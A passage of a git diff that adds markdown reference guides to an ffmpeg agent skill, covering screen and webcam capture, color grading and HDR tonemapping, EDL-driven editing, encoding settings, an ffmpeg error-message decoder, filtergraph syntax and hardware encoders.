+ffmpeg -f gdigrab -framerate 30 -i desktop -c:v libx264 -preset ultrafast -crf 23 \
+  -pix_fmt yuv420p cap.mp4
+
+# region / single window:
+ffmpeg -f gdigrab -framerate 30 -offset_x 100 -offset_y 100 -video_size 1280x720 -i desktop ...
+ffmpeg -f gdigrab -framerate 30 -i title="Exact Window Title" ...
+
+# modern GPU path (Win10+, much lower overhead, needs d3d11 build):
+ffmpeg -f ddagrab -framerate 60 -i 0 -c:v h264_nvenc -cq 23 cap.mp4
+
+# webcam + mic (dshow): FIRST list devices, then use exact names:
+ffmpeg -list_devices true -f dshow -i dummy
+ffmpeg -f dshow -rtbufsize 256M -i video="HD Webcam":audio="Microphone (Realtek)" \
+  -c:v libx264 -preset veryfast -crf 22 -c:a aac cam.mp4
+
+# system audio loopback: ffmpeg has no native WASAPI-loopback input — install
+# the VB-Cable/virtual-audio-capturer dshow device, or capture with OBS instead.
+```
+
+`-rtbufsize 256M` on dshow prevents the "real-time buffer too full" frame drops.
+
+## macOS (avfoundation)
+
+```bash
+ffmpeg -f avfoundation -list_devices true -i ""          # indices change; always list
+# screen 1 + default mic ("1:0" = video-index:audio-index):
+ffmpeg -f avfoundation -framerate 30 -capture_cursor 1 -i "1:0" \
+  -c:v libx264 -preset veryfast -crf 22 -pix_fmt yuv420p cap.mp4
+```
+
+Screen Recording permission (System Settings → Privacy) must be granted to the
+*terminal* running ffmpeg — the failure is a black recording, not an error.
+System-audio capture needs a loopback driver (BlackHole).
+
+## Linux (x11grab / kmsgrab / v4l2 / pulse)
+
+```bash
+# X11 screen + pulse audio:
+ffmpeg -f x11grab -framerate 30 -video_size 1920x1080 -i :0.0 \
+  -f pulse -i default -c:v libx264 -preset veryfast -crf 22 -pix_fmt yuv420p cap.mp4
+# webcam:
+ffmpeg -f v4l2 -framerate 30 -video_size 1280x720 -i /dev/video0 cam.mp4
+```
+
+Wayland blocks x11grab — capture via `pipewiregrab`/`kmsgrab` (build-dependent)
+or use OBS as the capture layer.
+
+## Capture-encode discipline (all platforms)
+
+- **Capture cheap, compress later.** `-preset ultrafast -crf 18` (or hardware
+  encode) during capture; transcode to delivery settings afterwards
+  ([encoding.md](encoding.md)). Dropped frames during capture are unfixable;
+  large intermediates are.
+- Screen content is **full-range RGB** — the range/matrix tagging trap in
+  [color-hdr.md](color-hdr.md) applies to every screen recording.
+- Capture is inherently VFR-ish under load: run the normalize recipe before
+  editing captures.
+- Long captures: `-f segment -segment_time 600 -reset_timestamps 1` so a crash
+  loses ten minutes, not three hours.

+ 97 - 0
skills/ffmpeg-ops/references/color-grading.md

@@ -0,0 +1,97 @@
+# Color grading — LUTs, log footage, scopes, the grade workflow
+
+Creative color. Pipeline *correctness* (pix_fmt, HDR, range/matrix tags) is
+[color-hdr.md](color-hdr.md) — read that first if colors look *wrong* rather than
+*unstyled*. Recipes for *named* looks (teal & orange, pastel, noir, VHS…) and
+the Hald-CLUT / scope-matching techniques: [look-recipes.md](look-recipes.md).
+
+## The workflow
+
+1. **Normalize log footage** to Rec.709 (below) — grade on display-referred video.
+2. **Generate candidates**, render preview stills, build the chooser:
+   ```bash
+   python skills/ffmpeg-ops/scripts/gen-luts.py --variants all \
+     --out-dir work/luts --previews footage.mp4 --frame-at 12.5
+   # -> work/luts/*.cube + preview_*.png + index.html
+   ```
+3. **The human picks.** Never auto-select a grade — taste is a human gate.
+4. **Apply:**
+   ```bash
+   ffmpeg -i in.mp4 -vf "lut3d=file=work/luts/warm_filmic.cube:interp=tetrahedral" \
+     -c:v libx264 -crf 18 -c:a copy graded.mp4
+   ```
+5. **Check against scopes**, not eyeballs (below).
+
+Order of operations when combining with other work: denoise → normalize log →
+grade (LUT) → sharpen → encode. Grading before denoise amplifies chroma noise.
+
+## Log footage ("why does my drone/mirrorless footage look washed out")
+
+Log profiles (S-Log3, V-Log, D-Log, C-Log) pack wide dynamic range into a flat
+image; they *require* a conversion to Rec.709. Options:
+
+- `gen-luts.py --input-space slog3` bakes the S-Log3→Rec.709 conversion into every
+  generated look (one LUT, one filter pass).
+- Camera vendors ship official conversion LUTs (Sony/Panasonic/DJI download pages)
+  — highest fidelity; apply the official .cube first, then grade:
+  `-vf "lut3d=vendor_to709.cube,lut3d=grade.cube"`.
+
+If footage is HLG/PQ rather than log, that's tonemapping, not grading —
+[color-hdr.md](color-hdr.md).
+
+## .cube format (hand-writable, generatable)
+
+Plain ASCII: `TITLE`, `LUT_3D_SIZE N` (17/33/65 — 33 is the sweet spot), optional
+`DOMAIN_MIN/MAX`, then N³ lines of `R G B` floats 0–1, **red varying fastest**.
+That's why an agent (or `gen-luts.py`) can write one directly. ffmpeg's `lut3d`
+reads .cube/.3dl/.dat/.m3d; `interp=tetrahedral` is the quality option.
+
+## Direct-filter grading (no LUT)
+
+For one-off tweaks; safe ranges that don't destroy footage:
+
+```bash
+-vf "eq=brightness=0.03:contrast=1.08:saturation=1.1"   # brightness ±0.1, contrast 0.9-1.3, sat 0-1.5
+-vf "colortemperature=temperature=5500"                  # WB fix: 4000 warm <-> 7000 cool
+-vf "colorbalance=rs=0.05:bs=-0.05"                      # shadows toward orange (rs+) / teal (bs-)
+-vf "curves=preset=increase_contrast"                    # also: lighter, darker, vintage
+-vf "curves=master='0/0.04 0.5/0.5 1/0.96'"              # custom: gentle film fade
+-vf "vibrance=intensity=0.4"                             # saturation that protects skin tones
+-vf "unsharp=5:5:0.8"                                    # output sharpen, AFTER grade
+```
+
+## Scopes — grade against measurements
+
+ffmpeg ships the same scopes a colorist uses; preview with `ffplay` or render a
+scope strip beside the image:
+
+```bash
+# waveform (exposure): legal video sits 0-100%; clipping = flat line at top
+ffplay -i graded.mp4 -vf "split[a][b];[b]waveform=mode=column:display=stack[w];[a][w]vstack"
+
+# vectorscope (color cast/saturation): cast = trace off-center; skin tones hug
+# the I-line (~33° toward red-yellow)
+ffplay -i graded.mp4 -vf "split[a][b];[b]vectorscope=mode=color3[v];[a][v]hstack"
+
+# histogram per channel
+ffplay -i graded.mp4 -vf "split[a][b];[b]histogram[h];[a][h]hstack"
+```
+
+Mechanical checks: blown highlights = waveform pinned at 100% across a region;
+crushed blacks = pinned at 0; white-balance error = vectorscope centroid displaced
+on the B–R axis.
+
+## Batch consistency
+
+Same grade across a folder = same LUT applied in a loop — this is the point of
+LUT-based grading (one decision, n applications):
+
+```bash
+for f in clips/*.mp4; do
+  ffmpeg -y -i "$f" -vf "lut3d=file=work/luts/warm_filmic.cube:interp=tetrahedral" \
+    -c:v libx264 -crf 18 -c:a copy "graded/$(basename "$f")"
+done
+```
+
+Shot-to-shot exposure differences need a per-clip `eq` *before* the shared LUT —
+match waveforms first, then the look lands identically.

+ 78 - 0
skills/ffmpeg-ops/references/color-hdr.md

@@ -0,0 +1,78 @@
+# Color correctness — pix_fmt, HDR→SDR, range and matrix tags
+
+The "colors look *wrong*" file (washed out / too dark / slightly shifted / black
+video on Apple devices). For creative grading see
+[color-grading.md](color-grading.md).
+
+## Pixel formats
+
+| pix_fmt | Use |
+|---|---|
+| `yuv420p` | **Every delivery encode.** The only universally-played option |
+| `yuv420p10le` | 10-bit: HEVC/AV1 delivery, HDR (mandatory), banding-prone gradients |
+| `yuv422p/444p` | Intermediates only — players choke |
+| `rgb24 / rgba` | Image outputs, overlays with alpha |
+
+ffmpeg preserves the source format when it can: encode from a screen recording or
+PNG sequence without `-pix_fmt yuv420p` and you silently get yuv444p →
+black/unplayable on QuickTime/Safari/TVs. **This is the single most common
+"ffmpeg broke my video" cause.**
+
+## Range: limited (TV) vs full (PC)
+
+Video is normally limited range (16–235); PC/screen content is full (0–255).
+Mis-tagged range = washed-out blacks or crushed shadows *only in some players*.
+
+```bash
+# screen recordings (full) -> delivery (limited), tagged correctly:
+-vf "scale=in_range=full:out_range=limited" -color_range tv
+```
+
+If output looks fine in one player and washed out in another, suspect range tags
+before anything else. Probe: `probe-media.py --json | jq '.data.video'`.
+
+## Matrix: BT.601 vs BT.709 (the subtle skin-tone shift)
+
+SD is 601, HD is 709. Scaling SD↔HD without saying so makes the *scaler guess*,
+and a wrong guess shifts greens/skin slightly. Force it when crossing the line:
+
+```bash
+# SD source upscaled to HD, explicit matrix conversion + tag:
+-vf "scale=1920:1080:in_color_matrix=bt601:out_color_matrix=bt709" \
+-colorspace bt709 -color_primaries bt709 -color_trc bt709
+```
+
+The three `-color*` flags only *tag* (they don't convert); the scale options
+*convert*. You usually want both.
+
+## HDR → SDR tonemapping ("phone HDR video looks grey/flat after processing")
+
+iPhone/modern-camera HDR is HLG or PQ (probe shows
+`color_transfer=arib-std-b67` or `smpte2084`). Re-encoding without tonemapping
+produces the classic grey washed-out look. Convert properly (needs libzimg —
+check `capability-scan.sh`):
+
+```bash
+ffmpeg -i hdr.mov -vf \
+  "zscale=t=linear:npl=100,format=gbrpf32le,zscale=p=bt709,tonemap=tonemap=hable:desat=0,zscale=t=bt709:m=bt709:r=tv,format=yuv420p" \
+  -c:v libx264 -crf 20 -c:a copy sdr.mp4
+```
+
+Tonemap operators: `hable` (filmic, safe default), `mobius` (preserves mids),
+`reinhard` (flat), `linear` (clips). Without libzimg, a rougher fallback:
+`-vf "tonemapx=..."` builds vary — prefer installing a full build.
+
+**Keeping HDR:** copy streams (`-c copy`) keeps HDR metadata intact; re-encoding
+HDR10 properly requires x265 with `hdr10=1` master-display params — niche; verify
+with a probe that `color_transfer=smpte2084` survived.
+
+## Alpha (transparency)
+
+```bash
+# video with alpha -> overlay-ready formats:
+-c:v prores_ks -profile:v 4444 -pix_fmt yuva444p10le out.mov   # NLE-grade
+-c:v libvpx-vp9 -pix_fmt yuva420p out.webm                     # web
+```
+
+MP4/H.264 has **no alpha** — requests for "transparent mp4" need webm or ProRes
+4444 (or a separate matte).

+ 90 - 0
skills/ffmpeg-ops/references/edit-as-code.md

@@ -0,0 +1,90 @@
+# Edit-as-Code — EDL-driven editing
+
+The pattern behind Anthropic's Fable launch video (edited entirely through Claude
+Code — transcription → shot-selection JSON → ffmpeg → LUTs, no NLE): **the edit is
+files, not timeline state.** Every stage's output is a reviewable, rerunnable,
+diffable artifact.
+
+## The pipeline
+
+```
+raw takes (+ script if scripted)
+  │
+  ▼ 1 TRANSCRIBE   word-level JSON per take          → work/transcripts/*.json
+  ▼ 2 SELECT       reason over transcripts            → work/final-edit.json (EDL)
+  ▼ 3 CUT          cut-from-edl.py --execute          → work/edl-cuts/ + final.mp4
+  ▼ 4 VERIFY       re-transcribe the output           → no clipped words, no filler
+  ▼ 5 GRADE        gen-luts.py + HUMAN picks          → graded.mp4
+  ▼ 6 PACKAGE      loudnorm pass-2, faststart, gates  → deliverable
+```
+
+Stages 5–6 are [color-grading.md](color-grading.md) and
+[audio.md](audio.md)/[quality-metrics.md](quality-metrics.md); transcription is
+[stt-whisper.md](stt-whisper.md). This file owns stages 2–4.
+
+## The EDL is the deliverable artifact
+
+Schema: [../assets/edl-schema.json](../assets/edl-schema.json). The load-bearing
+field is `selection_rationale` — *why* each take won, written down:
+
+```json
+{
+  "scene": 1,
+  "title": "Part 1: Intro",
+  "candidate_takes": ["C001", "C002", "C003", "C017 (re-shoot)"],
+  "selection_rationale": "C017 disqualified - 5.8s dead pause mid-sentence. C003 is the cleanest complete take: zero ums, clean ending.",
+  "clips": [{ "file": "takes/A004C003.mp4", "start": 1.89, "end": 60.81,
+              "first_words": "Hey everyone, it's..." }]
+}
+```
+
+A reviewer reads the rationale instead of scrubbing footage. Git diffs of the EDL
+*are* the edit history. Re-running `cut-from-edl.py` regenerates the output
+identically.
+
+## Shot-selection heuristics (multi-take footage)
+
+The agent reasons over **transcripts, not frames** — it cannot watch video. Per
+scene, read every candidate take's transcript and apply:
+
+- **Fewest filler words** ("um", "uh", restarts) wins, all else equal.
+- **Prefer later takes** — speakers warm up; the last full take is usually best.
+- **Disqualify** takes with dead pauses > ~2 s mid-sentence or that never complete
+  the scripted line.
+- **Trim warm-up openers** ("Hey [name]…" used to start a sentence warm): cut at
+  the silent gap *after* the warm-up, never mid-word.
+- Record disqualifications in the rationale too — the search space is part of the
+  review.
+
+For many scenes, fan out one agent per scene (each reads only its candidates) and
+have a verifier pass check the assembled EDL — this maps directly onto the
+Workflow tool's pipeline+verify pattern.
+
+## The two verification rules
+
+**1. Every cut boundary must land in silence.** Words are clipped by cuts that
+"look right" numerically. Mechanically check each in/out against measured silence:
+
+```bash
+python skills/ffmpeg-ops/scripts/detect-segments.py --silence --json take.mp4 \
+  | jq --argjson t 60.81 '.data.silences[] | select(.start <= $t and .end >= $t)'
+# empty result = the proposed cut at 60.81 is NOT in silence — move it
+```
+
+**2. Re-transcribe the output.** After `cut-from-edl.py --execute`, run the final
+video back through transcription and assert: every scene's `first_words` appears,
+no filler words survived, no sentence is truncated at a boundary. This catches
+off-by-keyframe and timestamp-unit errors that no amount of EDL review will.
+
+## Cut mode choice
+
+`cut-from-edl.py` re-encodes by default (frame-accurate, normalizes mixed sources,
+concat always safe). Use `--copy` only when the EDL was authored against measured
+keyframes (`probe-media.py --keyframes-near` for every in-point) — e.g. when the
+source is an all-intra mezzanine ([encoding.md](encoding.md)).
+
+## Human gates
+
+Taste calls stay human: the grade pick ([color-grading.md](color-grading.md)),
+final timing, sound design. The agent's job ends at presenting options with
+evidence — never auto-select past these gates.

+ 102 - 0
skills/ffmpeg-ops/references/encoding.md

@@ -0,0 +1,102 @@
+# Encoding — codecs, CRF, presets, two-pass, targets
+
+Recipe data lives in [../assets/encoding-presets.json](../assets/encoding-presets.json)
+(query it; don't re-derive). This file is the *why* behind those numbers.
+
+## CRF — constant quality, the default rate mode
+
+CRF encodes to a perceptual quality level; size falls where it falls. Use CRF for
+everything except a hard size/bandwidth budget (then two-pass, below).
+
+| Encoder | Range | Visually lossless | Good delivery | Small | Notes |
+|---|---|---|---|---|---|
+| libx264 | 0–51 | 17–18 | 20–23 | 26–28 | +6 ≈ half the size |
+| libx265 | 0–51 | 20–21 | 23–26 | 28–30 | x265 CRF ≈ x264 CRF + 3 for similar quality |
+| libsvtav1 | 0–63 | 25–28 | 30–35 | 38–45 | scale differs — do not map 1:1 from x264 |
+| libvpx-vp9 | 0–63 | 24–28 | 31–36 | 40+ | needs `-b:v 0` for pure CRF mode |
+
+**VP9 trap:** `-crf 32` alone is *constrained* quality; pure CRF needs
+`-c:v libvpx-vp9 -crf 32 -b:v 0`.
+
+## Presets — speed vs compression efficiency
+
+Preset changes *size at the same quality*, not the quality itself (CRF pins that).
+
+- **libx264/libx265:** `ultrafast..placebo`. `slow` is the sweet spot for delivery;
+  `fast`/`medium` for intermediates; never `placebo` (≈1% gain, 2× time over veryslow).
+- **libsvtav1:** numeric `0–13`, lower = slower. `6` balanced, `4` quality-leaning,
+  `8–10` for drafts.
+- Rule of thumb: if encode time doesn't matter, drop one preset slower rather than
+  lowering CRF — better size/quality trade.
+
+## Tune (libx264)
+
+`-tune film` (live action grain), `-tune animation` (flat areas + lines),
+`-tune grain` (preserve heavy grain — also consider this for film scans),
+`-tune stillimage`, `-tune zerolatency` (streaming only — disables lookahead).
+Don't set tune at all when unsure.
+
+## 10-bit
+
+`-pix_fmt yuv420p10le` reduces banding in gradients (skies, dark scenes) even for
+8-bit sources, at ~5% size cost. x265 and SVT-AV1 handle it natively; for H.264 it
+breaks too many players — keep H.264 8-bit. HDR requires 10-bit
+(see [color-hdr.md](color-hdr.md)).
+
+## Two-pass — when you have a size budget
+
+Target bitrate = (size_MB × 8192 ÷ seconds) − audio_kbps.
+
+```bash
+# 700 MB target for a 1h video with 128k audio → (700*8192/3600)-128 ≈ 1465k
+ffmpeg -y -i in.mp4 -c:v libx264 -b:v 1465k -preset slow -pass 1 -an -f null -
+ffmpeg    -i in.mp4 -c:v libx264 -b:v 1465k -preset slow -pass 2 \
+  -c:a aac -b:a 128k -movflags +faststart out.mp4
+```
+
+Pass 1 writes `ffmpeg2pass-0.log` in the CWD — run both passes from the same
+directory. On Windows `-f null -` works in PowerShell; no need for `NUL`.
+
+## Audio codec choice
+
+| Codec | Use | Bitrates |
+|---|---|---|
+| libopus | Best per-bit; anything not chained to MP4-only players | voice 24–32k mono, music 96–128k stereo |
+| aac (native) | MP4 delivery default; fine at ≥128k stereo | 128–192k |
+| libmp3lame | Legacy compat only | `-q:a 2` (~190k VBR) |
+| flac / pcm_s16le | Archival / editing intermediates | lossless |
+
+Opus-in-MP4 exists but player support is patchy — Opus belongs in webm/mka/opus.
+
+## Intermediates for editing
+
+Long-GOP H.264/HEVC is miserable to scrub/cut repeatedly. For multi-step edit
+pipelines, transcode once to an all-intra mezzanine and work on that:
+
+```bash
+ffmpeg -i in.mp4 -c:v libx264 -crf 14 -preset fast -g 1 -c:a pcm_s16le mezz.mov
+```
+
+(`-g 1` = every frame a keyframe: any cut point is copy-safe, scrubbing is instant.
+ProRes via `-c:v prores_ks -profile:v 3` if the destination is an NLE.)
+
+## Archival
+
+FFV1 level 3 in MKV is the preservation standard (lossless, checksummed, seekable):
+
+```bash
+ffmpeg -i in.mp4 -c:v ffv1 -level 3 -g 1 -slicecrc 1 -c:a flac archive.mkv
+```
+
+Verify the round trip with `-f framemd5` (see
+[analysis-validation.md](analysis-validation.md)).
+
+## Hard size caps (upload limits)
+
+CRF first, then check, then two-pass only if over:
+
+```bash
+ffmpeg -i in.mp4 -c:v libx264 -crf 23 -preset slow -pix_fmt yuv420p \
+  -c:a aac -b:a 128k -movflags +faststart try.mp4
+# over budget? compute bitrate for the cap and two-pass (above), or step CRF +2
+```

+ 70 - 0
skills/ffmpeg-ops/references/error-decoder.md

@@ -0,0 +1,70 @@
+# Error decoder — cryptic ffmpeg message → cause → fix
+
+ffmpeg's errors describe the *symptom at the C layer*, not the cause. This table
+maps the messages agents actually hit to what went wrong and the move that fixes
+it. Match on the quoted fragment (messages vary slightly across versions).
+
+## Container / file errors
+
+| Message fragment | Actual cause | Fix |
+|---|---|---|
+| `moov atom not found` | MP4 truncated mid-write (crashed recorder, interrupted download, still-recording file) — the index never got written | If the recorder is still running, wait. Else recover with an untruncated reference file from the same device (untrunc) — ffmpeg alone cannot rebuild a missing moov |
+| `Invalid data found when processing input` | File isn't what the extension claims, is corrupt, or is encrypted (DRM) | `ffprobe -v error file` to see what it really is; check size > 0; DRM content is out of scope, full stop |
+| `Error opening output files: Invalid argument` (output side) | ffmpeg couldn't infer the muxer — usually a non-standard output extension (`.tmp`, no extension) | Name the format explicitly: `-f mp4 out.tmp`, or use a real extension |
+| `Unable to choose an output format ... use a standard extension` | Same as above, said more politely | Same fix |
+| `Permission denied` on output | Output open in a player (Windows file lock), or writing into a read-only dir | Close the player; write elsewhere; never edit a file in place — write new + rename |
+| `No such file or directory` but the path looks right | Shell quoting ate part of the path (spaces, `&`, parentheses), or a filter arg consumed it | Quote the whole path; for paths *inside* filter args see the quoting row below |
+
+## Codec / stream errors
+
+| Message fragment | Actual cause | Fix |
+|---|---|---|
+| `Filtering and streamcopy cannot be used together` | `-vf`/`-af`/`-filter_complex` combined with `-c copy` on the same stream | Filters require re-encoding — drop `-c copy` (or only copy the *other* stream: `-c:a copy` with a video filter is fine) |
+| `height not divisible by 2` (or width) | yuv420p needs even dimensions; a `scale=W:-1` produced an odd size | Use `scale=W:-2` (and `-2` for width too) |
+| `Unknown encoder 'libx265'` (libvmaf, libsvtav1, …) | This build doesn't include the library — common with distro/minimal builds | `capability-scan.sh` to see what you have; install a full build (gyan.dev "full" on Windows, BtbN on Linux) |
+| `Specified pixel format ... is invalid or not supported` | Hardware encoder fed a CPU pixel format (or 10-bit into an 8-bit-only encoder) | NVENC/QSV need `format=nv12`/hwupload chains — see hardware-accel.md; or drop to a software encoder |
+| `No capable devices found` / `Cannot load nvcuda.dll` | NVENC listed in the build but no working NVIDIA driver/GPU | `capability-scan.sh` confirms (listed-but-failed = exit 10); use libx264 or fix the driver |
+| `Conversion failed!` as the only error | The real error is 5–20 lines earlier in stderr | Read upward; with `-v error` the first printed line IS the cause |
+| `Too many packets buffered for output stream` | Muxer starved — usually one stream much shorter than another in a filter graph | Add `-shortest`, or fix the graph so both streams cover the same span |
+| `Non-monotonic DTS` / `non monotonically increasing dts` warnings | Timestamp disorder — VFR source, sloppy cut, or concat of mismatched segments | Usually survivable as a warning; if A/V drifts: re-encode with `-fps_mode cfr`, or remux with `-fflags +genpts` |
+
+## Filter errors
+
+| Message fragment | Actual cause | Fix |
+|---|---|---|
+| `No such filter: 'xyz'` | Typo, or build-optional filter absent (drawtext needs libfreetype, subtitles needs libass, …) | `ffmpeg -filters \| rg xyz`; full build if missing |
+| `Unable to parse option value "..." ` inside a filter | The filter-arg parser ate a `:` or `,` — classically a **Windows drive colon** (`lut3d=file=C:/...`) or a timecode | Escape (`C\:/path`) or — better — `cd` to the asset's directory and use a bare relative filename |
+| `Error initializing filter 'subtitles'` / `Unable to open ...srt` | Path escaping (above), or the build lacks libass | Relative filename from the subs' directory; check `capability-scan.sh` |
+| `Cannot find a matching stream for unlabeled input pad` | A filtergraph input wasn't connected — wrong `[0:v]` index or a consumed-twice stream | Label every pad explicitly; `split` a stream before feeding two filters |
+| `Media type mismatch between the ... filter` | Audio stream wired into a video filter or vice versa (`[0:a]` into `scale`, …) | Check the `[n:v]`/`[n:a]` selectors at each filter boundary |
+| `Padded dimensions cannot be smaller than input dimensions` | `pad=` target smaller than the (already-scaled) frame | Scale down first in the same chain, or enlarge the pad target |
+
+## Seek / cut errors
+
+| Message fragment | Actual cause | Fix |
+|---|---|---|
+| No error at all, but the output is empty/0 bytes | Input-side `-ss` seeked PAST the end of the file — ffmpeg exits 0 having written nothing | Probe duration first (`probe-media.py`); treat empty output as failure in scripts, never trust exit 0 alone for frame extraction |
+| `Non full-range YUV is non-standard` then encoder fails (writing .jpg) | The mjpeg encoder refuses full-range input under default strictness — common when grabbing stills from full-range/PC-range sources | Output `.png` instead, or add `-strict unofficial` for jpg |
+| Output starts with frozen/black video after a copy cut | Cut point wasn't a keyframe; player shows nothing until the next IDR | `probe-media.py --keyframes-near <t>`; re-encode the cut or move it to a keyframe |
+| `-to value smaller than -ss; aborting` | `-ss` input-side + `-to` output-side: timestamps reset at the seek, so your absolute `-to` is now "before" 0 | Keep `-ss`/`-to` on the same side of `-i` |
+| First frames of a concat glitch/flash | concat demuxer fed segments with mismatched codec params or timebases | Identical params only for the demuxer; otherwise concat *filter* + re-encode (trim-concat.md) |
+
+## Audio errors
+
+| Message fragment | Actual cause | Fix |
+|---|---|---|
+| `Invalid audio stream. Exactly one MP3 audio stream is required` | Muxing video (e.g. cover art counts!) or 2+ streams into `.mp3` | `-vn -map 0:a:0` for mp3; or use a real container (m4a/mka) |
+| Output much quieter than inputs after `amix` | amix normalizes (divides) by input count by default | `amix=...:normalize=0` + explicit `volume=` per input |
+| `The encoder 'aac' is experimental` (very old builds) | Ancient ffmpeg | Upgrade; (historic workaround was `-strict -2`) — if you see this, the build is too old to trust for anything |
+
+## Reading errors efficiently
+
+```bash
+ffmpeg -v error -i in.mp4 ... 2>&1 | head -5    # first error line = the cause
+ffmpeg -v verbose ...                            # when error mode hides context
+ffmpeg -h filter=scale                           # option ranges when "Invalid argument" comes from a filter
+```
+
+The single most useful habit: when a long command fails, re-run with `-v error`
+and **read the first line, not the last** — ffmpeg prints the root cause first
+and generic wrappers ("Conversion failed!", "Error while processing") last.

+ 85 - 0
skills/ffmpeg-ops/references/filtergraph.md

@@ -0,0 +1,85 @@
+# Filtergraphs — syntax, labels, chains, and the patterns that need them
+
+## Grammar in 60 seconds
+
+```
+-vf  "f1=a=1:b=2,f2"                 simple: one video chain, commas join filters
+-af  "f1,f2"                          same for audio
+-filter_complex "[0:v]f1[x];[x][1:v]f2[out]"   multiple inputs/outputs need labels
+```
+
+- `,` chains filters; `;` separates parallel chains.
+- `[0:v]` `[1:a]` = input file 0's video, file 1's audio. `[label]` = your wire.
+- Every labeled output must be consumed (or `-map`ped). Unconsumed = error.
+- One stream cannot feed two filters — `split`/`asplit` it first.
+- `-vf`/`-af` and `-filter_complex` are mutually exclusive per stream; filters and
+  `-c copy` are mutually exclusive, full stop.
+
+**Escaping (three layers deep):** the filter arg parser eats `:` and `,`, the
+graph parser eats `;` and `[]`, then your shell takes a pass. Inside a filter
+argument, escape with `\` (e.g. `drawtext=text='1\:30'`). Avoid the whole topic
+where possible: relative paths for files, single-quoted graphs (bash *and*
+PowerShell), no spaces in asset names.
+
+## split — the fan-out primitive
+
+```bash
+# blurred-background vertical (one decode, two consumers):
+-filter_complex "[0:v]split[a][b];[a]scale=1080:1920:force_original_aspect_ratio=increase,crop=1080:1920,boxblur=20[bg];[b]scale=1080:-2[fg];[bg][fg]overlay=(W-w)/2:(H-h)/2"
+```
+
+## Common graph patterns
+
+```bash
+# picture-in-picture, top-right, 1/4 size
+-filter_complex "[1:v]scale=iw/4:-1[pip];[0:v][pip]overlay=W-w-24:24"
+
+# overlay visible only between 5s and 12s
+-filter_complex "[0:v][1:v]overlay=24:24:enable='between(t,5,12)'"
+
+# crossfade two clips (1s, starting at 4s into clip A) — video and audio
+-filter_complex "[0:v][1:v]xfade=transition=fade:duration=1:offset=4[v];[0:a][1:a]acrossfade=d=1[a]"
+
+# side-by-side A/B (heights must match; scale first if not)
+-filter_complex "[0:v][1:v]hstack"
+# 2x2 grid
+-filter_complex "[0:v][1:v][2:v][3:v]xstack=inputs=4:layout=0_0|w0_0|0_h0|w0_h0"
+```
+
+## Time manipulation
+
+```bash
+# constant speed: video PTS x factor, audio atempo (0.5-100; chain for <0.5)
+-filter_complex "[0:v]setpts=0.5*PTS[v];[0:a]atempo=2.0[a]"      # 2x
+-filter_complex "[0:v]setpts=4*PTS[v];[0:a]atempo=0.5,atempo=0.5[a]"  # 0.25x
+
+# speed RAMP (slow-mo a highlight 10-12s, normal speed around it): cut three
+# ranges with trim/atrim, retime the middle, concat — see trim-concat.md's
+# remove-middle pattern with setpts=2*PTS added to the middle chain.
+
+# interpolated 60fps slow-mo (synthesizes frames; slow, occasionally wobbly
+# around fast motion — check the output)
+-vf "minterpolate=fps=60:mi_mode=mci:mc_mode=aobmc:vsbmc=1,setpts=2*PTS" -an
+```
+
+## Expressions
+
+Filter args accept expressions: `t` (seconds), `n` (frame), `w/h`/`iw/ih` (sizes),
+`main_w/overlay_w` in overlay. Useful forms:
+
+```bash
+overlay=x='if(gte(t,3),24,-w)'         # slide in at t=3
+drawtext=...:x=(w-text_w)/2:y=h-th-40  # centered lower third
+select='not(mod(n,30))'                # every 30th frame
+fade=t=in:st=0:d=1,fade=t=out:st=9:d=1 # fade in/out (10s clip)
+```
+
+## Per-filter docs without leaving the terminal
+
+```bash
+ffmpeg -h filter=xfade        # all options + ranges for one filter
+ffmpeg -filters | rg blur     # discover what this build has
+```
+
+Niche corners worth knowing exist: `v360` (360°/VR re-projection), `geq` (per-pixel
+expressions), `sendcmd` (timed parameter changes), `zmq` (live parameter control).

+ 84 - 0
skills/ffmpeg-ops/references/hardware-accel.md

@@ -0,0 +1,84 @@
+# Hardware acceleration — NVENC, QSV, AMF, VideoToolbox, VAAPI
+
+## The one paragraph that prevents most hw-encode mistakes
+
+Hardware encoders are **5–20× faster** and **worse per bit** than libx264/x265 at
+slow presets — a dedicated ASIC doing fewer optimization passes. Use them for
+batch/draft/realtime work and bump bitrate ~30% to compensate; use CPU for final
+masters and size-constrained encodes. And **always verify, never trust the list**:
+
+```bash
+bash skills/ffmpeg-ops/scripts/capability-scan.sh          # proof-encodes each hw encoder
+```
+
+An encoder appearing in `ffmpeg -encoders` only means it was compiled in; NVENC
+fails at runtime on driver/CUDA mismatches, QSV without the right GPU/driver,
+VAAPI without a render node. Exit 10 from capability-scan = listed-but-broken.
+
+## NVENC (NVIDIA)
+
+```bash
+# quality-targeted VBR (the CRF-like mode; -cq lower = better, ~19-28)
+ffmpeg -i in.mp4 -c:v h264_nvenc -preset p5 -tune hq -rc vbr -cq 23 -b:v 0 \
+  -pix_fmt yuv420p -c:a copy out.mp4
+ffmpeg -i in.mp4 -c:v hevc_nvenc -preset p6 -tune hq -rc vbr -cq 26 -tag:v hvc1 ... 
+```
+
+- Presets are `p1`(fast)–`p7`(quality); the old `slow/fast/ll*` names are legacy.
+- `-rc vbr -cq N -b:v 0` ≈ constant quality; omit `-b:v 0` and ffmpeg imposes a
+  default bitrate cap (classic "why is NVENC output blurry" cause).
+- Full decode→encode on GPU: `-hwaccel cuda -hwaccel_output_format cuda` before
+  `-i`, GPU-side `scale_cuda`/`scale_npp` for resizing.
+- Consumer GeForce caps concurrent NVENC sessions (driver-dependent, typically 5–8).
+
+## QSV (Intel Quick Sync)
+
+```bash
+ffmpeg -init_hw_device qsv=hw -i in.mp4 -vf "format=nv12,hwupload" \
+  -c:v h264_qsv -global_quality 23 -preset slower -c:a copy out.mp4
+```
+
+`-global_quality` is the CRF-analog (ICQ mode). Common failure: iGPU disabled in
+BIOS or no Intel media driver — capability-scan catches both.
+
+## AMF (AMD, Windows)
+
+```bash
+ffmpeg -i in.mp4 -c:v h264_amf -quality quality -rc cqp -qp_i 22 -qp_p 24 -c:a copy out.mp4
+```
+
+Weakest quality-per-bit of the four; prefer CPU unless speed is the whole point.
+
+## VideoToolbox (macOS)
+
+```bash
+ffmpeg -i in.mp4 -c:v hevc_videotoolbox -q:v 55 -tag:v hvc1 -c:a copy out.mp4
+```
+
+`-q:v` 1–100 (higher = better, ~50–65 typical). Apple Silicon VT is fast and
+respectable; still below libx265 slow for size-critical work.
+
+## VAAPI (Linux)
+
+```bash
+ffmpeg -vaapi_device /dev/dri/renderD128 -i in.mp4 \
+  -vf "format=nv12,hwupload" -c:v h264_vaapi -qp 23 -c:a copy out.mp4
+```
+
